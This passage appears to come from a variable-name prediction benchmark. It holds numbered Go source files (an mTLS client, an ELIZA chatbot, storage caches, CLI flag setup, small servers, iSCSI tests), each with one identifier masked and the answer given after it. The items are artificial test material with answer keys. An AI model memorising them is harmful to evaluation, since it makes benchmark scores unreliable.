+optional Namespace string `json:""namespace,omitempty""` } ",kcd 235,"package main import ( ""bufio"" ""context"" ""fmt"" ""github.com/otterize/credentials-operator/examples/spiffe-tls/utils"" ""io"" ""log"" ""time"" ""github.com/spiffe/go-spiffe/v2/spiffeid"" ""github.com/spiffe/go-spiffe/v2/spiffetls"" ""github.com/spiffe/go-spiffe/v2/spiffetls/tlsconfig"" ) const ( serverAddress = ""go-spiffe-server-service:55555"" bundlePath = ""/etc/spire-integration/bundle.pem"" certFilePath = ""/etc/spire-integration/svid.pem"" keyFilePath = ""/etc/spire-integration/key.pem"" serverID = ""spiffe://example.org/otterize/namespace/go-spiffe-tls/service/server"" ) func dial() { // Setup context ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second) defer cancel() log.Printf(""Client starting to %s"", serverAddress) // Allowed SPIFFE ID serverID := spiffeid.RequireFromString(serverID) // Create a TLS connection. // The client expects the server to present an Certificate with the spiffeID: 'spiffe://example.org/server' // // An alternative when creating Dial is using `spiffetls.Dial` that uses environment variable `SPIFFE_ENDPOINT_SOCKET` svid := utils.NewLocalSVIDSource(certFilePath, keyFilePath) bundle := utils.NewLocalBundleSource(bundlePath) conn, err := spiffetls.DialWithMode(ctx, ""tcp"", serverAddress, spiffetls.MTLSClientWithRawConfig( tlsconfig.AuthorizeID(serverID), svid, bundle, )) if err != nil { log.Fatalf(""Unable to create TLS connection: %v"", err) } defer conn.Close() // Send a message to the server using the TLS connection fmt.Fprintf(conn, ""Hello server\n"") // Read server response status, err := bufio.NewReader(conn).ReadString('\n') if err != nil && err != io.EOF { log.Fatalf(""Unable to read server response: %v"", err) } log.Printf(""Server says: %q"", status) } func main() { [MASK] := time.NewTicker(10 * time.Second) for { select { case <- [MASK] .C: dial() } } } ",ticker 236,"package eliza import ( ""bufio"" ""fmt"" ""math/rand"" ""os"" ""regexp"" ""strings"" ""time"" ) // create struct of responses type Response struct { Patterns *regexp.Regexp Answers []string } // tests responses func PrintResponses(path string) { response := makeResponses(path) fmt.Printf(""%+v\n"", response) } // function to make responses and populate struct func makeResponses(path string) []Response { [MASK] , _ := ReadLines(path) // Read file line by line to slice SmartResponses := make([]Response, 0) for i := 0; i < len( [MASK] ); i += 2 { allPatterns := strings.Split( [MASK] [i], "";"") // split each string using ; allResponses := strings.Split( [MASK] [i+1], "";"") for _, pattern := range allPatterns { pattern = ""(?i)"" + pattern Patterns := regexp.MustCompile(pattern) SmartResponses = append(SmartResponses, Response{Patterns: Patterns, Answers: allResponses}) } } return SmartResponses } // reads all lines from file, source from https://stackoverflow.com/questions/8757389/reading-file-line-by-line-in-go func ReadLines(path string) ([]string, error) { file, err := os.Open(path) if err != nil { return nil, err } defer file.Close() var lines []string scanner := bufio.NewScanner(file) for scanner.Scan() { readLine := scanner.Text() if skipComment(readLine) { continue } lines = append(lines, scanner.Text()) } return lines, scanner.Err() } // if file line begins with func skipComment(readLine string) bool { return strings.HasPrefix(readLine, ""//"") || len(strings.TrimSpace(readLine)) == 0 } func matchPronouns(inputStr string) string { // split inputStr into slice of strings splitStr := strings.Fields(inputStr) //map of reflected pronouns pronouns := map[string]string{ ""i"": ""you"", ""was"": ""were"", ""i'd"": ""you would"", ""i've"": ""you have"", ""i'll"": ""you will"", ""my"": ""your"", ""are"": ""am"", ""you've"": ""I have"", ""you'll"": ""I will"", ""your"": ""my"", ""yours"": ""mine"", ""you"": ""I"", ""me"": ""you"", ""me."": ""you"", ""you're"": ""I’m"", } //loop map and check for simularites // swap values for index, word := range splitStr { if value, ok := pronouns[strings.ToLower(word)]; ok { splitStr[index] = value } } return strings.Join(splitStr, "" "") } // function to find input word, resource used https://golang.org/pkg/regexp/ func wordSwapper(pattern *regexp.Regexp, input string) string { match := pattern.FindStringSubmatch(input) if len(match) == 1 { return """" // no wordmatch is required } wordSwap := match[1] wordSwap = matchPronouns(wordSwap) return wordSwap } // Start of response generation func AskEliza(input string) string { //create response[]response from file response := makeResponses(""./database/SmartResponses.dat"") randomResponse, _ := ReadLines(""./database/randomResponses.dat"") rand.Seed(time.Now().Unix()) //checks for pattern and selects key word for _, response := range response { if response.Patterns.MatchString(input) { wordSwap := wordSwapper(response.Patterns, input) genResp := response.Answers[rand.Intn(len(response.Answers))] genResp = responseBuilder(genResp, wordSwap) return genResp } } // No pattern found then choose a random response return randomResponse[rand.Intn(len(randomResponse))] } // Builds the response func responseBuilder(response, wordSwap string) string { if strings.Contains(response, ""%s"") { return fmt.Sprintf(response, wordSwap) } return response } ",fullFile 237,"package main import ( ""errors"" ""io"" ""net/url"" ""os"" ""path/filepath"" ""strings"" ""github.com/gophercloud/gophercloud"" ""github.com/gophercloud/gophercloud/openstack"" ""github.com/majewsky/schwift"" ""github.com/majewsky/schwift/gopherschwift"" ) type Cache interface { Get(key string) (*url.URL, bool, error) Store(key string, file io.ReadSeeker) (*url.URL, error) } type LocalCache struct { BaseURL string CacheDir string } func (l *LocalCache) Get(key string) (*url.URL, bool, error) { path := filepath.Join(l.CacheDir, key) if _, err := os.Stat(path); os.IsNotExist(err) { return nil, false, nil } url, err := url.Parse(l.BaseURL + key) return url, true, err } func (l *LocalCache) Store(key string, tmpfile io.ReadSeeker) (*url.URL, error) { path := filepath.Join(l.CacheDir, key) url, err := url.Parse(l.BaseURL + key) if err != nil { return nil, err } if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil { return nil, err } file, err := os.OpenFile(path, os.O_WRONLY|os.O_TRUNC|os.O_CREATE, 0644) if err != nil { return nil, err } defer file.Close() _, err = io.Copy(file, tmpfile) return url, err } type SwiftCache struct { container *schwift.Container } func NewSwiftCache(container string) (*SwiftCache, error) { if container == """" { return nil, errors.New(""Container name required"") } authOptions, err := openstack.AuthOptionsFromEnv() if os.Getenv(""OS_PROJECT_DOMAIN_NAME"") != """" { authOptions.Scope = &gophercloud.AuthScope{ ProjectName: os.Getenv(""OS_PROJECT_NAME""), DomainName: os.Getenv(""OS_PROJECT_DOMAIN_NAME""), } } if err != nil { return nil, err } authOptions.AllowReauth = true provider, err := openstack.AuthenticatedClient(authOptions) if err != nil { return nil, err } client, err := openstack.NewObjectStorageV1(provider, gophercloud.EndpointOpts{}) if err != nil { return nil, err } [MASK] , err := gopherschwift.Wrap(client, nil) if err != nil { return nil, err } c, err := [MASK] .Container(container).EnsureExists() if err != nil { return nil, err } return &SwiftCache{container: c}, nil } func (s *SwiftCache) Get(key string) (*url.URL, bool, error) { key = strings.TrimLeft(key, ""/"") object := s.container.Object(key) exists, err := object.Exists() if err != nil { return nil, false, err } if exists { objectURL, err := object.URL() if err != nil { return nil, false, err } u, err := url.Parse(objectURL) return u, true, err } return nil, false, nil } func (s *SwiftCache) Store(key string, tmpfile io.ReadSeeker) (*url.URL, error) { key = strings.TrimLeft(key, ""/"") object := s.container.Object(key) if err := object.Upload(tmpfile, nil, nil); err != nil { return nil, err } objectURL, err := object.URL() if err != nil { return nil, err } return url.Parse(objectURL) } ",account 238,"package env_printer_plugin import ( ""github.com/sinlov/drone-info-tools/drone_info"" ""github.com/sinlov/drone-info-tools/drone_log"" ""github.com/urfave/cli/v2"" ""log"" ""os"" ) // IsBuildDebugOpen // when config or drone build open debug will open debug func IsBuildDebugOpen(c *cli.Context) bool { return c.Bool(NamePluginDebug) || c.Bool(drone_info.NameCliStepsDebug) } // BindCliFlag // check args here func BindCliFlag(c *cli.Context, [MASK] , cliName string, drone drone_info.Drone) (*Plugin, error) { debug := IsBuildDebugOpen(c) config := Config{ Debug: debug, TimeoutSecond: c.Uint(NamePluginTimeOut), EnvPrintKeys: c.StringSlice(NamePrinterPrintKeys), PaddingLeftMax: c.Int(NamePrinterPaddingLeftMax), } if config.Debug { drone_log.ShowLogLineNo(true) for _, e := range os.Environ() { log.Println(e) } } // set default TimeoutSecond if config.TimeoutSecond == 0 { config.TimeoutSecond = 10 } drone_log.Debugf(""args %s: %v"", NamePluginTimeOut, config.TimeoutSecond) p := Plugin{ Name: cliName, Version: [MASK] , Drone: drone, Config: config, } return &p, nil } // Flag // set flag at here func Flag() []cli.Flag { return []cli.Flag{ // env_printer_plugin start // new flag string template if no use, please replace this &cli.StringSliceFlag{ Name: NamePrinterPrintKeys, Usage: ""if use this args, will print env by keys"", EnvVars: []string{EnvPrinterPrintKeys}, }, &cli.IntFlag{ Name: NamePrinterPaddingLeftMax, Usage: ""set env printer padding left max count, minimum 24, default 32"", EnvVars: []string{EnvPrinterPaddingLeftMax}, Value: 32, }, // env_printer_plugin end //&cli.StringFlag{ // Name: ""config.new_arg,new_arg"", // Usage: """", // EnvVars: []string{""PLUGIN_new_arg""}, //}, // file_browser_plugin end } } // HideFlag // set env_printer_plugin hide flag at here func HideFlag() []cli.Flag { return []cli.Flag{ //&cli.UintFlag{ // Name: ""config.timeout_second,timeout_second"", // Usage: ""do request timeout setting second."", // Hidden: true, // Value: 10, // EnvVars: []string{""PLUGIN_TIMEOUT_SECOND""}, //}, } } // CommonFlag // Other modules also have flags func CommonFlag() []cli.Flag { return []cli.Flag{ &cli.UintFlag{ Name: NamePluginTimeOut, Usage: ""do request timeout setting second."", Hidden: true, Value: 10, EnvVars: []string{EnvPluginTimeOut}, }, &cli.BoolFlag{ Name: NamePluginDebug, Usage: ""debug mode"", Value: false, EnvVars: []string{drone_info.EnvKeyPluginDebug}, }, } } ",cliVersion 239,"// Copyright 2023 LY Corporation // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Package config defines all the configuration parameters. It reads configuration from environment variables and command-line arguments. package config import ( extutil ""github.com/AthenZ/k8s-athenz-sia/v3/pkg/util"" ) type CopperArgosMode struct { Use bool Provider string // provider service name AthenzDomainName string AthenzServiceName string } type LocalCertMode struct { Use bool } type DerivedServiceCert struct { CopperArgos CopperArgosMode LocalCert LocalCertMode // Use 3rd party provided service cert instead of CopperArgos } // derivedServiceCertConfig reads given configuration and sets the derived state of preparing service cert under the follow modes: // - CopperArgos: Use CopperArgos Mode // - LocalCert: Use 3rd party provided service cert instead of CopperArgos // Also, there is a hidden mode where k8s-athenz-sia prepares service-cert with k8s-secret mode, but the state is managed in DerivedK8sSecretBackup instead, // as the backup mode can be used for every mode, if enabled. func ( [MASK] *IdentityConfig) derivedServiceCertConfig() error { // default: [MASK] .ServiceCert = DerivedServiceCert{ CopperArgos: CopperArgosMode{ Use: false, Provider: """", AthenzDomainName: """", AthenzServiceName: """", }, LocalCert: LocalCertMode{Use: false}, } if [MASK] .providerService != """" { [MASK] .ServiceCert.CopperArgos = CopperArgosMode{ Use: true, Provider: [MASK] .providerService, AthenzDomainName: extutil.NamespaceToDomain( [MASK] .Namespace, [MASK] .athenzPrefix, [MASK] .athenzDomain, [MASK] .athenzSuffix), AthenzServiceName: extutil.ServiceAccountToService( [MASK] .ServiceAccount), } return nil // Use CopperArgos Mode } // k8s-athenz-sia uses third-party service certificate, instead of using CopperArgos: if [MASK] .KeyFile != """" && [MASK] .CertFile != """" { [MASK] .ServiceCert.LocalCert = LocalCertMode{Use: true} return nil // Use LocalCert Mode } return nil } ",idCfg 240,"package main import ( ""context"" ""flag"" ""log"" ""os"" ""os/signal"" ""syscall"" baseliboidc ""github.com/aggregat4/go-baselib-services/v3/oidc"" ""github.com/aggregat4/rssgrid/internal/config"" ""github.com/aggregat4/rssgrid/internal/db"" ""github.com/aggregat4/rssgrid/internal/feed"" ""github.com/aggregat4/rssgrid/internal/server"" ) func main() { var [MASK] string flag.StringVar(& [MASK] , ""config"", """", ""Path to configuration file (default: ~/.config/rssgrid/rssgrid.json)"") flag.Parse() var cfg *config.Config var err error if [MASK] != """" { cfg, err = config.LoadWithPath( [MASK] ) } else { cfg, err = config.Load() } if err != nil { log.Fatalf(""Error loading configuration: %v"", err) } store, err := db.NewStore(cfg.DBPath) if err != nil { log.Fatalf(""Error initializing database: %v"", err) } oidcConfig := baseliboidc.CreateOidcConfiguration( cfg.OIDC.IssuerURL, cfg.OIDC.ClientID, cfg.OIDC.ClientSecret, cfg.OIDC.RedirectURL, ) srv, err := server.NewServer(store, oidcConfig, cfg.SessionKey) if err != nil { log.Fatalf(""Error initializing server: %v"", err) } updater := feed.NewUpdater(store, cfg.UpdateInterval) // Create context that will be canceled on shutdown ctx, cancel := context.WithCancel(context.Background()) defer cancel() updater.Start(ctx) sigChan := make(chan os.Signal, 1) signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM) go func() { <-sigChan log.Println(""Shutting down..."") cancel() updater.Stop() }() if err := srv.StartWithContext(ctx, cfg.Addr); err != nil { log.Fatalf(""Error starting server: %v"", err) } } ",configPath 241,"package main import ( ""context"" ""github.com/d3code/auth/generated/protobuf/v1/auth"" ""github.com/d3code/auth/internal/middleware"" ""github.com/d3code/auth/internal/service"" ""github.com/d3code/auth/pkg/server"" ""github.com/grpc-ecosystem/grpc-gateway/v2/runtime"" ""google.golang.org/grpc"" ""net/http"" ) func main() { host := ""localhost"" httpPort := ""8080"" grpcPort := ""8081"" [MASK] := server.GrpcServer{ Host: host, Port: grpcPort, RegisterServices: func(server *grpc.Server) { auth.RegisterAuthServiceServer(server, &service.AuthService{}) }, } httpGateway := server.HttpGateway{ Port: httpPort, GrpcConnections: map[string]server.GrpcConnection{ ""/auth/"": { Host: host, Port: grpcPort, Secure: false, GrpcHandlers: []func(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error{ auth.RegisterAuthServiceHandler, }, }, }, HttpHandlers: map[string]http.Handler{ ""/health"": middleware.ServerHealth(), }, } ctx, cancel := context.WithCancel(context.Background()) defer cancel() go httpGateway.Run(ctx) [MASK] .Run() } ",grpcServer 242,"package config import ( ""bytes"" ""encoding/json"" ""fmt"" ""io"" ""io/ioutil"" ""os"" ""path/filepath"" ""strings"" ""gopkg.in/yaml.v3"" ) var Names []string = names() func FindPath( [MASK] string) (string, error) { dir, err := filepath.Abs( [MASK] ) if err != nil { return """", err } for { var found []string for _, name := range Names { path := filepath.Join(dir, name) if fi, err := os.Stat(path); err == nil && !fi.IsDir() { found = append(found, path) } else if err != nil && !os.IsNotExist(err) { return """", err } } if len(found) == 1 { return found[0], nil } if len(found) > 1 { return """", fmt.Errorf(""multiple candidates: %q"", found) } if newDir := filepath.Dir(dir); newDir == dir { return """", fmt.Errorf(""no config found"") } else { dir = newDir } } } func ReadPath(path string) (conf Repository, err error) { buf, err := ioutil.ReadFile(path) if err != nil { return conf, err } switch { case strings.HasSuffix(path, "".json""): conf, err = ReadJSON(bytes.NewReader(buf)) case strings.HasSuffix(path, "".yml""): conf, err = ReadYAML(bytes.NewReader(buf)) case strings.HasSuffix(path, "".yaml""): conf, err = ReadYAML(bytes.NewReader(buf)) default: conf, err = ReadDetected(bytes.NewReader(buf)) } return conf, err } func ReadYAML(r io.Reader) (config Repository, err error) { dec := yaml.NewDecoder(r) dec.KnownFields(true) err = dec.Decode(&config) config.SetDefaults() return config, err } func ReadJSON(r io.Reader) (config Repository, err error) { dec := json.NewDecoder(r) dec.DisallowUnknownFields() err = dec.Decode(&config) config.SetDefaults() return config, err } func ReadDetected(r io.ReadSeeker) (config Repository, err error) { firstByte := make([]byte, 1) n, err := r.Read(firstByte) if err != nil { return config, err } else if n == 0 { return config, fmt.Errorf(""unexpected empty read"") } r.Seek(-1, io.SeekCurrent) if firstByte[0] == '{' { return ReadJSON(r) } else { return ReadYAML(r) } } func names() []string { var names []string parts := [][]string{{"""", "".""}, {""copr""}, {"""", "".yml"", "".yaml"", "".json""}} var f func([]string) f = func(iter []string) { if len(iter) == len(parts) { names = append(names, strings.Join(iter, """")) return } for _, part := range parts[len(iter)] { f(append(iter, part)) } } f(make([]string, 0, len(parts))) return names } ",startDir 243,"// Copyright (c) 2022 Contributors to the Eclipse Foundation // // See the NOTICE file(s) distributed with this work for additional // information regarding copyright ownership. // // This program and the accompanying materials are made available under the // terms of the Apache License 2.0 which is available at // https://www.apache.org/licenses/LICENSE-2.0 // // SPDX-License-Identifier: Apache-2.0 package main import ( ""github.com/spf13/cobra"" ) func setupCommandFlags(cmd *cobra.Command) { [MASK] := cmd.Flags() // init daemon general config flag [MASK] .String(daemonConfigFileFlagID, """", ""Specify the configuration file of updatemanagerd"") // init log flags [MASK] .StringVar(&cfg.Log.LogLevel, ""log-level"", cfg.Log.LogLevel, ""Set the daemon's log level - possible values are ERROR, WARN, INFO, DEBUG, TRACE"") [MASK] .StringVar(&cfg.Log.LogFile, ""log-file"", cfg.Log.LogFile, ""Set the daemon's log file"") [MASK] .IntVar(&cfg.Log.LogFileSize, ""log-file-size"", cfg.Log.LogFileSize, ""Set the maximum size in megabytes of the log file before it gets rotated"") [MASK] .IntVar(&cfg.Log.LogFileCount, ""log-file-count"", cfg.Log.LogFileCount, ""Set the maximum number of old log files to retain"") [MASK] .IntVar(&cfg.Log.LogFileMaxAge, ""log-file-max-age"", cfg.Log.LogFileMaxAge, ""Set the maximum number of days to retain old log files based on the timestamp encoded in their filename"") [MASK] .BoolVar(&cfg.Log.Syslog, ""log-syslog"", cfg.Log.Syslog, ""Enable logging in the local syslog (e.g. /dev/log, /var/run/syslog, /var/run/log)"") // init things client [MASK] .StringVar(&cfg.ThingsConfig.ThingsMetaPath, ""things-home-dir"", cfg.ThingsConfig.ThingsMetaPath, ""Specify the home directory for the Things Update Manager persistent storage"") [MASK] .StringSliceVar(&cfg.ThingsConfig.Features, ""things-features"", cfg.ThingsConfig.Features, ""Specify the desired Ditto features that will be registered for the Ditto thing"") [MASK] .StringVar(&cfg.ThingsConfig.ThingsConnectionConfig.BrokerURL, ""things-conn-broker"", cfg.ThingsConfig.ThingsConnectionConfig.BrokerURL, ""Specify the MQTT broker URL to connect to"") [MASK] .Int64Var(&cfg.ThingsConfig.ThingsConnectionConfig.KeepAlive, ""things-conn-keep-alive"", cfg.ThingsConfig.ThingsConnectionConfig.KeepAlive, ""Specify the keep alive duration for the MQTT requests in milliseconds"") [MASK] .Int64Var(&cfg.ThingsConfig.ThingsConnectionConfig.DisconnectTimeout, ""things-conn-disconnect-timeout"", cfg.ThingsConfig.ThingsConnectionConfig.DisconnectTimeout, ""Specify the disconnection timeout for the MQTT connection in milliseconds"") [MASK] .StringVar(&cfg.ThingsConfig.ThingsConnectionConfig.ClientUsername, ""things-conn-client-username"", cfg.ThingsConfig.ThingsConnectionConfig.ClientUsername, ""Specify the MQTT client username to authenticate with"") [MASK] .StringVar(&cfg.ThingsConfig.ThingsConnectionConfig.ClientPassword, ""things-conn-client-password"", cfg.ThingsConfig.ThingsConnectionConfig.ClientPassword, ""Specify the MQTT client password to authenticate with"") [MASK] .Int64Var(&cfg.ThingsConfig.ThingsConnectionConfig.ConnectTimeout, ""things-conn-connect-timeout"", cfg.ThingsConfig.ThingsConnectionConfig.ConnectTimeout, ""Specify the connect timeout for the MQTT in milliseconds"") [MASK] .Int64Var(&cfg.ThingsConfig.ThingsConnectionConfig.AcknowledgeTimeout, ""things-conn-ack-timeout"", cfg.ThingsConfig.ThingsConnectionConfig.AcknowledgeTimeout, ""Specify the acknowledgement timeout for the MQTT requests in milliseconds"") [MASK] .Int64Var(&cfg.ThingsConfig.ThingsConnectionConfig.SubscribeTimeout, ""things-conn-sub-timeout"", cfg.ThingsConfig.ThingsConnectionConfig.SubscribeTimeout, ""Specify the subscribe timeout for the MQTT requests in milliseconds"") [MASK] .Int64Var(&cfg.ThingsConfig.ThingsConnectionConfig.UnsubscribeTimeout, ""things-conn-unsub-timeout"", cfg.ThingsConfig.ThingsConnectionConfig.UnsubscribeTimeout, ""Specify the unsubscribe timeout for the MQTT requests in milliseconds"") // init k8s config [MASK] .StringVar(&cfg.Orchestration.K8s.Kubeconfig, ""k8s-kubeconfig"", cfg.Orchestration.K8s.Kubeconfig, ""Specify the absolute path to the k8s condiguration"") // init self update config [MASK] .BoolVar(&cfg.Orchestration.SelfUpdate.EnableReboot, ""self-update-enable-reboot"", cfg.Orchestration.SelfUpdate.EnableReboot, ""Specify the enable reboot flag to the self update condiguration"") [MASK] .StringVar(&cfg.Orchestration.SelfUpdate.Timeout, ""self-update-timeout"", cfg.Orchestration.SelfUpdate.Timeout, ""Specify the timeout in cron format to wait for completing a self update operation"") [MASK] .StringVar(&cfg.Orchestration.SelfUpdate.RebootTimeout, ""self-update-reboot-timeout"", cfg.Orchestration.SelfUpdate.RebootTimeout, ""Specify the timeout in cron format to wait before a reboot process is initiated after a self update operation"") } ",flagSet 244,"/* Copyright 2024 Nokia. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package badgerdb import ( ""context"" ""time"" ""github.com/dgraph-io/badger/v4"" ""github.com/dgraph-io/badger/v4/options"" ) func OpenDB(ctx context.Context, path string) (*badger.DB, error) { opts := badger.DefaultOptions(path). WithLoggingLevel(badger.WARNING). WithCompression(options.None). WithBlockCacheSize(0) bdb, err := badger.Open(opts) if err != nil { return nil, err } go func() { [MASK] := time.NewTicker(5 * time.Minute) defer [MASK] .Stop() for { select { case <-ctx.Done(): return case <- [MASK] .C: again: err = bdb.RunValueLogGC(0.7) if err == nil { goto again } } } }() return bdb, nil } ",ticker 245,"package main import ( ""fmt"" ""github.com/gin-gonic/gin"" ""math/rand"" ""net/http"" ""os"" ) var quotes = []string{ ""The journey of a thousand miles begins with a single step."", ""Not all those who wander are lost."", ""This too shall pass."", ""Act as if what you do makes a difference. It does."", ""It always seems impossible until it’s done."", } func main() { // Create a default Gin router router := gin.Default() // GET /quotes - return all Monty Python quotes router.GET(""/quotes"", func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{""quotes"": quotes}) }) // GET /quote - return a random Monty Python quote router.GET(""/quote"", func(c *gin.Context) { index := rand.Intn(len(quotes)) c.JSON(http.StatusOK, gin.H{""quote"": quotes[index]}) }) // POST /quote - add a new Monty Python quote to the list router.POST(""/quote"", func(c *gin.Context) { var newQuote struct { Quote string `json:""quote"" binding:""required""` } if err := c.ShouldBindJSON(&newQuote); err != nil { c.JSON(http.StatusBadRequest, gin.H{""error"": err.Error()}) return } quotes = append(quotes, newQuote.Quote) c.JSON(http.StatusOK, gin.H{""message"": ""Quote added successfully!""}) }) // Start the server on port 8080 port := os.Getenv(""PORT"") if port == """" { port = ""8080"" // Default port } [MASK] := fmt.Sprintf(""0.0.0.0:%s"", port) router.Run( [MASK] ) } ",hostPort 246,"package main import ( ""bufio"" ""fmt"" ""os"" ""strconv"" ) func main() { depths := readDepths() part1(depths) part2(depths) } func part1(depths []int64) { var count int for i := 1; i < len(depths); i++ { if depths[i] > depths[i-1] { count++ } } fmt.Printf(""part 1: %d\n"", count) // 1832 } func part2(depths []int64) { const window = 3 sum := func(values []int64) int64 { var sum int64 for i := range values { sum += values[i] } return sum } var ( [MASK] = len(depths) to, count int ) for from := 1; from < [MASK] ; from++ { to = from + window if to > [MASK] { // Stop when there aren't enough measurements left to create a new three-measurement sum. break } if sum(depths[from:to]) > sum(depths[from-1:to-1]) { count++ } } fmt.Printf(""part 2: %d\n"", count) // 1858 } func readDepths() []int64 { f, err := os.Open(""input.txt"") if err != nil { fmt.Println(err) os.Exit(1) } defer func(f *os.File) { cerr := f.Close() if cerr != nil { fmt.Printf(""file: %v\n"", cerr) } }(f) scanner := bufio.NewScanner(f) scanner.Split(bufio.ScanLines) var depths []int64 for scanner.Scan() { depth, perr := strconv.ParseInt(scanner.Text(), 10, 64) if perr != nil { fmt.Printf(""read file: %v\n"", perr) os.Exit(1) } depths = append(depths, depth) } return depths } ",total 247,"package main import ( ""flag"" ""fmt"" ""log"" ""net/http"" ""os"" ""time"" ) const ( // Username is the username used to authenticate against 'time-server' Username = ""time-client"" // Password is the password used to authenticate against 'time-server' Password = ""!"" ) var ( port int ) // getTime returns a string containing the current time in RFC3339 format func getTime() string { return time.Now().Format(time.RFC3339) } func main() { fs := flag.NewFlagSet("""", flag.ExitOnError) fs.IntVar(&port, ""port"", 80, ""the port on which to listen"") fs.Parse(os.Args[1:]) // create a new http server that will listen on the specified port [MASK] := http.Server{ Addr: fmt.Sprintf(""0.0.0.0:%d"", port), } // add a handler to GET / http.HandleFunc(""/"", func(w http.ResponseWriter, r *http.Request) { // retrieve basic authentication data user, pass, ok := r.BasicAuth() if ok && user == Username && pass == Password { // if the username and password match respond with the current time log.Printf(""got time request from '%s'"", user) w.Write([]byte(getTime())) } else { // otherwise respond with 401 w.Header().Set(""WWW-Authenticate"", `Basic realm=""time-server""`) w.WriteHeader(401) } }) // listen to and serve requests until an error occurs log.Fatal( [MASK] .ListenAndServe()) } ",srv 248,"package iscsi import ( ""context"" ""encoding/json"" ""errors"" ""fmt"" ""io/ioutil"" ""os"" ""os/exec"" ""path/filepath"" ""reflect"" ""strconv"" ""testing"" ""time"" ""github.com/prashantv/gostub"" ""github.com/stretchr/testify/assert"" ) const nodeDB = ` # BEGIN RECORD 6.2.0.874 node.name = iqn.2010-10.org.openstack:volume-eb393993-73d0-4e39-9ef4-b5841e244ced node.tpgt = -1 node.startup = automatic node.leading_login = No iface.iscsi_ifacename = default iface.transport_name = tcp iface.vlan_id = 0 iface.vlan_priority = 0 iface.iface_num = 0 iface.mtu = 0 iface.port = 0 iface.tos = 0 iface.ttl = 0 iface.tcp_wsf = 0 iface.tcp_timer_scale = 0 iface.def_task_mgmt_timeout = 0 iface.erl = 0 iface.max_receive_data_len = 0 iface.first_burst_len = 0 iface.max_outstanding_r2t = 0 iface.max_burst_len = 0 node.discovery_port = 0 node.discovery_type = static node.session.initial_cmdsn = 0 node.session.initial_login_retry_max = 8 node.session.xmit_thread_priority = -20 node.session.cmds_max = 128 node.session.queue_depth = 32 node.session.nr_sessions = 1 node.session.auth.authmethod = CHAP node.session.auth.username = 86Jx6hXYqDYpKamtgx4d node.session.auth.password = node.session.timeo.replacement_timeout = 120 node.session.err_timeo.abort_timeout = 15 node.session.err_timeo.lu_reset_timeout = 30 node.session.err_timeo.tgt_reset_timeout = 30 node.session.err_timeo.host_reset_timeout = 60 node.session.iscsi.FastAbort = Yes node.session.iscsi.InitialR2T = No node.session.iscsi.ImmediateData = Yes node.session.iscsi.FirstBurstLength = 262144 node.session.iscsi.MaxBurstLength = 16776192 node.session.iscsi.DefaultTime2Retain = 0 node.session.iscsi.DefaultTime2Wait = 2 node.session.iscsi.MaxConnections = 1 node.session.iscsi.MaxOutstandingR2T = 1 node.session.iscsi.ERL = 0 node.conn[0].address = 192.168.1.107 node.conn[0].port = 3260 node.conn[0].startup = manual node.conn[0].tcp.window_size = 524288 node.conn[0].tcp.type_of_service = 0 node.conn[0].timeo.logout_timeout = 15 node.conn[0].timeo.login_timeout = 15 node.conn[0].timeo.auth_timeout = 45 node.conn[0].timeo.noop_out_interval = 5 node.conn[0].timeo.noop_out_timeout = 5 node.conn[0].iscsi.MaxXmitDataSegmentLength = 0 node.conn[0].iscsi.MaxRecvDataSegmentLength = 262144 node.conn[0].iscsi.HeaderDigest = None node.conn[0].iscsi.IFMarker = No node.conn[0].iscsi.OFMarker = No # END RECORD ` const ( emptyTransportName = ""iface.transport_name = \n"" emptyDbRecord = ""\n\n\n"" testRootFS = ""/tmp/iscsi-tests"" ) func makeFakeExecCommand(exitStatus int, stdout string) func(string, ...string) *exec.Cmd { return func(command string, args ...string) *exec.Cmd { cs := []string{""-test.run=TestExecCommandHelper"", ""--"", command} cs = append(cs, args...) cmd := exec.Command(os.Args[0], cs...) es := strconv.Itoa(exitStatus) cmd.Env = []string{ ""GO_WANT_HELPER_PROCESS=1"", ""STDOUT="" + stdout, ""EXIT_STATUS="" + es, } return cmd } } func makeFakeExecCommandContext(exitStatus int, stdout string) func(context.Context, string, ...string) *exec.Cmd { return func(ctx context.Context, command string, args ...string) *exec.Cmd { return makeFakeExecCommand(exitStatus, stdout)(command, args...) } } func makeFakeExecWithTimeout(withTimeout bool, output []byte, err error) func(string, []string, time.Duration) ([]byte, error) { return func(command string, args []string, timeout time.Duration) ([]byte, error) { if withTimeout { return nil, context.DeadlineExceeded } return output, err } } func marshalDeviceInfo(d *deviceInfo) string { var output string pkNames := map[string]string{} for _, device := range *d { for _, child := range device.Children { pkNames[child.Name] = device.Name } } for _, device := range *d { output += fmt.Sprintf(""%s %s %s %s %s %s %s\n"", device.Name, device.Name, pkNames[device.Name], device.Hctl, device.Type, device.Transport, device.Size) } return output } func TestExecCommandHelper(t *testing.T) { if os.Getenv(""GO_WANT_HELPER_PROCESS"") != ""1"" { return } fmt.Fprintf(os.Stdout, os.Getenv(""STDOUT"")) i, _ := strconv.Atoi(os.Getenv(""EXIT_STATUS"")) os.Exit(i) } func getDevicePath(device *Device) string { sysDevicePath := ""/tmp/iscsi-tests/sys/class/scsi_device/"" return filepath.Join(sysDevicePath, device.Hctl, ""device"") } func preparePaths(devices []Device) error { for _, d := range devices { devicePath := getDevicePath(&d) if err := os.MkdirAll(devicePath, os.ModePerm); err != nil { return err } for _, filename := range []string{""delete"", ""state""} { if err := ioutil.WriteFile(filepath.Join(devicePath, filename), []byte(""""), 0o600); err != nil { return err } } } return nil } func checkFileContents(t *testing.T, path string, contents string) { if out, err := ioutil.ReadFile(path); err != nil { t.Errorf(""could not read file: %v"", err) return } else if string(out) != contents { t.Errorf(""file content mismatch, got = %q, want = 